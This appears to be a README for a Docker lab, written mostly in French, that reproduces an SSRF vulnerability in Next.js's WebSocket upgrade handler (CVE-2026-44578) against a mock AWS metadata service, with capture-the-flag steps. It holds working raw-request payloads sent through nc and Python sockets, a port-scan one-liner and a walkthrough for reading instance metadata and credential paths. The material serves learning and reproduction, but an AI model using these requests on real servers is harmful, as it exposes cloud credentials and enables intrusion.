
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
Laboratoire autonome pour reproduire la vulnérabilité CVE-2026-44578 (CWE-918, SSRF) dans les applications Next.js auto-hébergées qui utilisent le serveur Node.js intégré.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| Versions affectées | Next.js 13.4.13 – 15.5.15 et 16.0.0 – 16.2.4 |
| Versions corrigées | 15.5.16 et 16.2.5 |
| Authentification | aucune |
| Interaction utilisateur | aucune |
Attaquant (hôte : 0.0.0.0)
│ HTTP :3000 (public)
▼
┌──────────────────────────┐ même namespace réseau ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ « Nimbus Analytics » │ │ (identifiants, │
│ (serveur Node intégré) │ │ user-data, index) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (port 3000) : l'application vulnérable, exposée sur 0.0.0.0:3000.imds-sidecar : maquette du service de métadonnées AWS qui vit sur
localhost:80 à l'intérieur du namespace du conteneur Next.js, modélisant
une instance réelle dans le cloud. Il n'est pas accessible depuis l'hôte directement
(aucun port publié). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatisé (5 sondes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + routes secrètes
└── nextjs-app/ # Application réaliste « Nimbus Analytics »
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnérable)
Le gestionnaire de mise à niveau WebSocket dans router-server.ts appelle proxyRequest()
lorsque l'URI analysé possède parsedUrl.protocol, sans vérifier les indicateurs
finished et statusCode que le gestionnaire HTTP normal a toujours émis :
// vulnérable (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// correctif (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Le vecteur d'attaque utilise une ligne de requête avec URI absolue à double barre oblique :
GET http:///path. normalizeRepeatedSlashes réduit http:/// à http:/,
sans nom d'hôte, et http-proxy se connecte alors à localhost:80 avec
le chemin intact :
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
La présence des en-têtes Connection: Upgrade + Upgrade: websocket fait
que la requête tombe dans le gestionnaire de mise à niveau vulnérable au lieu du
gestionnaire HTTP avec les vérifications de sécurité.
docker compose up -d --build
Vérifier que l'application répond :
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Pour le faire fonctionner sur 0.0.0.0, le mappage de ports dans
docker-compose.yml expose déjà 3000:3000 sur toutes les interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Flux complet 100 % manuel, en 4 phases. Il y a 4 flags cachés dans le
service interne (localhost:80) ; ce guide montre le flux jusqu'au
premier et vous laisse les chemins pour trouver les autres.
# Empreinte du serveur
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Ports ouverts via socket (sans nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Il n'y a pas d'accès direct à 127.0.0.1:80 depuis l'attaquant : le seul vecteur est
de faire en sorte que le serveur Next.js (qui vit bien sur le même réseau que le service
interne) demande à notre place.
Nous confirmons d'abord le SSRF en interrogeant l'index du service de métadonnées :
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Réponse de l'index → candidats : instance-id, hostname,
iam/security-credentials/, user-data (premier flag). L'index de
latest/meta-data/ révèle également des sous-clés qu'il convient de continuer à explorer.
GET http:///latest/user-data HTTP/1.1
| Partie | Fonction |
|---|---|
GET | La vulnérabilité ne proxifie que GET |
http:///latest/user-data | URI absolue. http:/// se réduit à http:/ → nom d'hôte nul → le proxy se connecte à localhost:80 en conservant le chemin /latest/user-data |
Host: 127.0.0.1:3000 | Sinon, le serveur répond 400 |
Connection: Upgrade + Upgrade: websocket | Détournent la requête vers le gestionnaire de mise à niveau vulnérable (le gestionnaire HTTP normal, lui, valide) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | En-têtes minimales exigées dans un handshake légitime |
Terminaison : \r\n\r\n sur le socket brut (sans corps).
# Option A : netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000